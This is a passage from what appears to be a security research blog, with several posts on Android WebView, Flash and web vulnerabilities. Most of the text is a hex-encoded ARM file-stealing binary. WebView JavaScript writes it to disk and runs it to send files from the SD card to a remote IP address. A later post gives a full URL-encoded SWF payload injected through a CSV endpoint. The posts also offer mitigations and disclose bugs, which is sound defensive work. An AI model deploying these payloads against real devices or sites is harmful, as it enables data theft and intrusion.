00\\x00\\x0F\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x10\\xA0\\x00\\x00\\x10\\x20\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x18\\xA0\\x00\\x00\\x18\\x20\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9D\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x20\\xA0\\x00\\x00\\x20\\x20\\x00\\x00\\xD8\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x3D\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xF8\\xA0\\x00\\x00\\xF8\\x20\\x00\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xA6\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x80\\xA1\\x00\\x00\\x80\\x21\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAB\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x21\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB4\\x00\\x00\\x00\\x03\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x92\\x21\\x00\\x00\\x29\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x21\\x00\\x00\\xC4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x26\\x00\\x00\\xD0\\x06\\x00\\x00\\x17\\x00\\x00\\x00\\x37\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x2D\\x00\\x00\\x51\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF4\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x08\\x81\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x54\\x82\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x14\\x85\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x84\\x86\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x94\\x86\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x7C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\xF0\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\xB0\\x92\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0A\\x00\\x00\\x00\\x00\\x00\\x10\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0B\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0C\\x00\\x00\\x00\\x00\\x00\\x08\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0D\\x00\\x00\\x00\\x00\\x00\\x10\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0E\\x00\\x00\\x00\\x00\\x00\\x18\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0F\\x00\\x00\\x00\\x00\\x00\\x20\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xF8\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x14\\x00\\x01\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x08\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x04\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\x00\\x04\\x00\\x00\\x00\\x0C\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\x00\\x04\\x00\\x00\\x00\\x14\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\x00\\x04\\x00\\x00\\x00\\x18\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\xF1\\xFF\\x0F\\x00\\x00\\x00\\xF0\\x91\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x09\\x00\\x1B\\x00\\x00\\x00\\x00\\x92\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x09\\x00\\x04\\x00\\x00\\x00\\x00\\x92\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x01\\x00\\x00\\x00\\x20\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x6C\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\xD4\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\xD8\\x89\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\xA0\\x8D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\xBC\\x8D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x1C\\x8F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x30\\x8F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x44\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x4C\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x2C\\x00\\x00\\x00\\xAC\\x91\\x00\\x00\\x28\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x32\\x00\\x00\\x00\\xD4\\x91\\x00\\x00\\x1C\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\xA0\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\xAC\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\xD4\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x00\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\x00\\x04\\x00\\x00\\x00\\x08\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\x00\\x04\\x00\\x00\\x00\\x10\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\x00\\x04\\x00\\x00\\x00\\x1C\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\x00\\x37\\x00\\x00\\x00\\x20\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x10\\x00\\x40\\x00\\x00\\x00\\xF8\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x11\\x00\\x01\\x00\\x00\\x00\\x7C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x04\\x00\\x00\\x00\\x8C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x01\\x00\\x00\\x00\\x90\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x56\\x00\\x00\\x00\\x90\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x5E\\x00\\x00\\x00\\x9C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x65\\x00\\x00\\x00\\xA8\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x6C\\x00\\x00\\x00\\xB4\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x71\\x00\\x00\\x00\\xC0\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x79\\x00\\x00\\x00\\xCC\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x83\\x00\\x00\\x00\\x50\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x8F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\xA1\\x00\\x00\\x00\\x30\\x8F\\x00\\x00\\x1C\\x01\\x00\\x00\\x12\\x00\\x08\\x00\\xA6\\x00\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\xB1\\x00\\x00\\x00\\x20\\x89\\x00\\x00\\x4C\\x00\\x00\\x00\\x12\\x00\\x08\\x00\\xC1\\x00\\x00\\x00\\xD8\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xC8\\x00\\x00\\x00\\x14\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x0E\\x00\\xD7\\x00\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\xE5\\x00\\x00\\x00\\xE4\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xEC\\x00\\x00\\x00\\xF0\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xF4\\x00\\x00\\x00\\x6C\\x89\\x00\\x00\\x6C\\x00\\x00\\x00\\x12\\x00\\x08\\x00\\xFE\\x00\\x00\\x00\\x10\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x0C\\x01\\x00\\x00\\xFC\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x11\\x01\\x00\\x00\\x08\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x22\\x01\\x00\\x00\\x14\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x2E\\x01\\x00\\x00\\x20\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x34\\x01\\x00\\x00\\x18\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x0F\\x00\\x42\\x01\\x00\\x00\\xD8\\x89\\x00\\x00\\xE4\\x03\\x00\\x00\\x12\\x00\\x08\\x00\\x4C\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x58\\x01\\x00\\x00\\xF0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x08\\x00\\x5F\\x01\\x00\\x00\\x0C\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x0D\\x00\\x6E\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x04\\x00\\x00\\x00\\x11\\x00\\x12\\x00\\x77\\x01\\x00\\x00\\x2C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x7F\\x01\\x00\\x00\\x38\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x85\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x91\\x01\\x00\\x00\\x4C\\x90\\x00\\x00\\x60\\x01\\x00\\x00\\x12\\x00\\x08\\x00\\x96\\x01\\x00\\x00\\x44\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x9C\\x01\\x00\\x00\\x50\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xA3\\x01\\x00\\x00\\x5C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xA8\\x01\\x00\\x00\\x68\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xB0\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\xB8\\x01\\x00\\x00\\xBC\\x8D\\x00\\x00\\x74\\x01\\x00\\x00\\x12\\x00\\x08\\x00\\xC6\\x01\\x00\\x00\\x74\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xCD\\x01\\x00\\x00\\x80\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xD5\\x01\\x00\\x00\\x8C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xDB\\x01\\x00\\x00\\x98\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xE3\\x01\\x00\\x00\\xA4\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xE8\\x01\\x00\\x00\\x04\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x0C\\x00\\xFA\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x01\\x02\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x06\\x02\\x00\\x00\\xB0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x0B\\x02\\x00\\x00\\xBC\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x12\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x29\\x02\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x30\\x02\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x12\\x00\\x3D\\x02\\x00\\x00\\xC8\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x46\\x02\\x00\\x00\\xD4\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x4C\\x02\\x00\\x00\\xE0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x24\\x61\\x00\\x24\\x64\\x00\\x68\\x65\\x6C\\x6C\\x6F\\x2E\\x63\\x00\\x69\\x6E\\x36\\x61\\x64\\x64\\x72\\x5F\\x61\\x6E\\x79\\x00\\x69\\x6E\\x36\\x61\\x64\\x64\\x72\\x5F\\x6C\\x6F\\x6F\\x70\\x62\\x61\\x63\\x6B\\x00\\x73\\x72\\x61\\x6E\\x64\\x00\\x72\\x61\\x6E\\x64\\x00\\x5F\\x44\\x59\\x4E\\x41\\x4D\\x49\\x43\\x00\\x5F\\x47\\x4C\\x4F\\x42\\x41\\x4C\\x5F\\x4F\\x46\\x46\\x53\\x45\\x54\\x5F\\x54\\x41\\x42\\x4C\\x45\\x5F\\x00\\x70\\x75\\x74\\x63\\x68\\x61\\x72\\x00\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x72\\x65\\x63\\x76\\x00\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x69\\x6E\\x65\\x74\\x5F\\x70\\x74\\x6F\\x6E\\x00\\x5F\\x5F\\x65\\x78\\x69\\x64\\x78\\x5F\\x65\\x6E\\x64\\x00\\x5F\\x5F\\x73\\x74\\x61\\x63\\x6B\\x5F\\x63\\x68\\x6B\\x5F\\x67\\x75\\x61\\x72\\x64\\x00\\x6C\\x69\\x73\\x74\\x00\\x5F\\x62\\x73\\x73\\x5F\\x65\\x6E\\x64\\x5F\\x5F\\x00\\x63\\x72\\x65\\x61\\x74\\x65\\x54\\x63\\x70\\x53\\x6F\\x63\\x6B\\x65\\x74\\x00\\x6D\\x61\\x6C\\x6C\\x6F\\x63\\x00\\x5F\\x5F\\x46\\x49\\x4E\\x49\\x5F\\x41\\x52\\x52\\x41\\x59\\x5F\\x5F\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x73\\x74\\x61\\x72\\x74\\x5F\\x5F\\x00\\x73\\x6F\\x63\\x6B\\x65\\x74\\x00\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x00\\x6E\\x75\\x6D\\x50\\x6C\\x61\\x63\\x65\\x73\\x00\\x5F\\x5F\\x65\\x78\\x69\\x64\\x78\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x73\\x65\\x6E\\x64\\x00\\x5F\\x5F\\x73\\x74\\x61\\x63\\x6B\\x5F\\x63\\x68\\x6B\\x5F\\x66\\x61\\x69\\x6C\\x00\\x5F\\x5F\\x6C\\x69\\x62\\x63\\x5F\\x69\\x6E\\x69\\x74\\x00\\x66\\x73\\x65\\x65\\x6B\\x00\\x5F\\x5F\\x43\\x54\\x4F\\x52\\x5F\\x4C\\x49\\x53\\x54\\x5F\\x5F\\x00\\x73\\x74\\x65\\x61\\x6C\\x46\\x69\\x6C\\x65\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x65\\x6E\\x64\\x5F\\x5F\\x00\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x5F\\x5F\\x49\\x4E\\x49\\x54\\x5F\\x41\\x52\\x52\\x41\\x59\\x5F\\x5F\\x00\\x64\\x65\\x76\\x69\\x63\\x65\\x49\\x64\\x00\\x73\\x72\\x61\\x6E\\x64\\x34\\x38\\x00\\x66\\x6F\\x70\\x65\\x6E\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x6D\\x61\\x69\\x6E\\x00\\x66\\x74\\x65\\x6C\\x6C\\x00\\x66\\x63\\x6C\\x6F\\x73\\x65\\x00\\x74\\x69\\x6D\\x65\\x00\\x6F\\x70\\x65\\x6E\\x64\\x69\\x72\\x00\\x5F\\x5F\\x65\\x6E\\x64\\x5F\\x5F\\x00\\x73\\x68\\x6F\\x75\\x6C\\x64\\x52\\x65\\x63\\x75\\x72\\x73\\x65\\x00\\x73\\x74\\x72\\x63\\x6D\\x70\\x00\\x6C\\x72\\x61\\x6E\\x64\\x34\\x38\\x00\\x66\\x67\\x65\\x74\\x63\\x00\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x73\\x74\\x61\\x74\\x00\\x5F\\x5F\\x50\\x52\\x45\\x49\\x4E\\x49\\x54\\x5F\\x41\\x52\\x52\\x41\\x59\\x5F\\x5F\\x00\\x5F\\x65\\x64\\x61\\x74\\x61\\x00\\x5F\\x65\\x6E\\x64\\x00\\x65\\x78\\x69\\x74\\x00\\x73\\x74\\x72\\x6C\\x65\\x6E\\x00\\x5F\\x5F\\x61\\x65\\x61\\x62\\x69\\x5F\\x75\\x6E\\x77\\x69\\x6E\\x64\\x5F\\x63\\x70\\x70\\x5F\\x70\\x72\\x31\\x00\\x5F\\x73\\x74\\x61\\x63\\x6B\\x00\\x5F\\x5F\\x64\\x61\\x74\\x61\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x63\\x6C\\x6F\\x73\\x65\\x64\\x69\\x72\\x00\\x63\\x6C\\x6F\\x73\\x65\\x00\\x66\\x72\\x65\\x65\\x00";
		
execute(["/system/bin/sh","-c","echo '"+armBinary+"' > /data/data/com.example.webviewhack/armB2"]);
execute(["chmod","755","/data/data/com.example.webviewhack/armB2"]);
var p = execute(["/data/data/com.example.webviewhack/armB2","192.168.1.116","/mnt/sdcard"]);
document.write(getContents(p.getInputStream()));
</script>

Applications targeted to API level 17 (Android 4.2), and above in the future, protect against the previous reflection-based attack by requiring programmers to annotate exposed functions (@JavascriptInterface), and I’m assuming the getClass function is missing this annotation, but currently only 0.8% of devices support API level 17, so we can’t realistically recommend using annotations to prevent this type of attack for a couple years.  So, how should we recommend our clients fix the issue?

  • Use addJavascriptInterface only if the application loads trusted content into the WebView component (Internet || IPC == sketch).
  • Develop a custom JavaScript bridge using the shouldOverrideUrlLoading function.  An application could check the newly loaded URL for a custom URI scheme and respond accordingly, but be careful about what functionality you expose via this custom URI scheme, and use input validation and output encoding to prevent the standard injection attacks.
  • Reconsider why a bridge between JavaScript and Java is a necessity for this Android application and remove the bridge if feasible.

Content-Type Blues

By | February 29, 2012

Assuming an attacker can control the start of a CSV file served up by a web application, what damage could be done?  The example PHP code below serves up a basic CSV file, but allows the user to control the column names. Note that the Content-Type header is at least set properly.

<?php
header('Content-Type: text/csv');
header('Content-Disposition: inline; filename=blah.csv');
header('Content-Length: ' . 20);

echo $_GET["columnNames"] . "\r\n";
echo "1,2,3,4,5\r\n";
echo "data,we,do,not,control";
?>

Our first attempt might involve injecting in a XSS payload.

http://target/csvServe.php?columnNames=a,b,c,d,e<html><body><script>alert(1)</script></body</html>

This seems like a reasonable approach since the application accepts and uses the columnNames parameter without performing any input validation or output encoding. But, the browser, even our old friend IE, will not render the content as HTML due to the Content-Type header’s value (text/csv). Note that this would be exploitable if the Content-Type header was set to text/plain instead, because IE will perform content sniffing in that situation.

Out of luck? Nope, just inject in an entire SWF file into the columnNames parameter. A SWF’s origin is the domain from which it was retrieved from, similar to a Java applet (uses IP addresses instead of domain names though), therefore a malicious page could embed a SWF, which originates from the target’s domain that could make arbitrary requests to the target domain and read the responses (steal sensitive data, defeat CSRF protections, and other generally nasty actions).  But, what about the data in the CSV that we don’t control?  The Flash Player will ignore the content following a well formed SWF and execute the SWF properly. The following JavaScript code snippet demonstrates this technique. Since both browsers and HTTP servers impose limits on the length of URLs, I would recommend writing the payload in ActionScript 2 using a command-line compiler like MTASC or an assembler like Flasm in order to craft a small SWF. Sadly, Flex is bloated, so mxmlc is not an option.

<script>
var flashvars = {};
var params = {};					
var attributes = {};
var url="http://target/csvServe.php?columnNames=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
</script>

Ideally, web applications wouldn’t accept arbitrary content to build a CSV, but the Flash Player could also take steps to prevent this attack from occurring.  The following improvements could be made, but  will likely break some existing RIAs that fail to set the Content-Type header properly on their SWFs.

1) Refuse to play any SWF that does not have a correct MIME type (application/x-shockwave-flash).
2) Refuse to play any SWF that has erroneous data at the end of the file.

Moral of the story: setting the content type properly is not a substitute for proper input validation.

Bypassing Flash’s local-with-filesystem Sandbox Redux

By | December 12, 2011

I suppose I should explain what Adobe refers to as a security control bypass (CVE-2011-2429).  There exists a number of different security sandboxes that the Flash Player uses to restrict SWFs. In this case, I was able to create a SWF that bypassed the restrictions imposed by a local-with-filesystem sandbox.

“The local-with-filesystem sandbox–For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.” [1]

Since a SWF placed into the local-with-filesystem sandbox can access local files, all we need to do is figure out a way to “communicate with the network in any way” in order to exfiltrate files off of a victim’s computer.  Billy Rios noticed that the getURL function was using protocol black-listing to prevent network communication with the outside world, therefore he used the mhtml psuedo URL scheme, which works in IE, earlier this year to bypass the security restrictions [2].  When I tried to reproduce his research, I received an annoying security exception from the Flash Player, so I searched for other pseudo URL schemes that might be useful, since I noticed that the Flash Player continued to simply black-list protocols as opposed to implementing some sort of white-list of acceptable protocols.  I quickly came across the view-source pseudo URL scheme that appeared to achieve similar results in Firefox and Chrome.  The view-source scheme is used to *gasp* view the source of a resource, and you’ll notice that both browsers will make a new HTTP request to retrieve the resource if the resource has not been cached yet.

The proof of concept is fairly simplistic, and there is technically a file size restriction on the files that can be extracted from the target’s machine due to browser restrictions on the URL length, but it might be possible to bypass this restriction by using custom HTTP headers to transfer the file contents instead, or using a different technique. The screenshot below shows the PoC SWF in action stealing some s3cr3t filez.

Moral of the story: black-listing URL schemes is still a bad idea.

[1] – http://livedocs.adobe.com/flex/3/html/help.html?content=05B_Security_04.html

[2] – http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Don’t Believe Everything You Read

By | December 6, 2011

Searching for “how to prevent cross site scripting in .NET” in Google produces a number of interesting results. The first link points to a MSDN article titled How To: Prevent Cross-Site Scripting in ASP.NET, but this article includes the following code snippet, which “uses HtmlEncode to ensure the inserted text is safe”, but this code is clearly vulnerable upon further inspection.

<%@ Page Language=”C#” AutoEventWireup=”true”%>

<html>
  <form id="form1" runat="server">
    <div>
      Color:&nbsp;<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
      <br />
      <asp:Button ID="Button1" runat="server" Text="Show color"
         OnClick="Button1_Click" /><br />
      <asp:Literal ID="Literal1" runat="server"></asp:Literal>
    </div>
  </form>
</html>

<script runat="server">
  private void Page_Load(Object Src, EventArgs e)
  {
    protected void Button1_Click(object sender, EventArgs e)
    {
      Literal1.Text = @"<span style=""color:"
        + Server.HtmlEncode(TextBox1.Text)
        + @""">Color example</span>";
    }
  }
</Script>

 

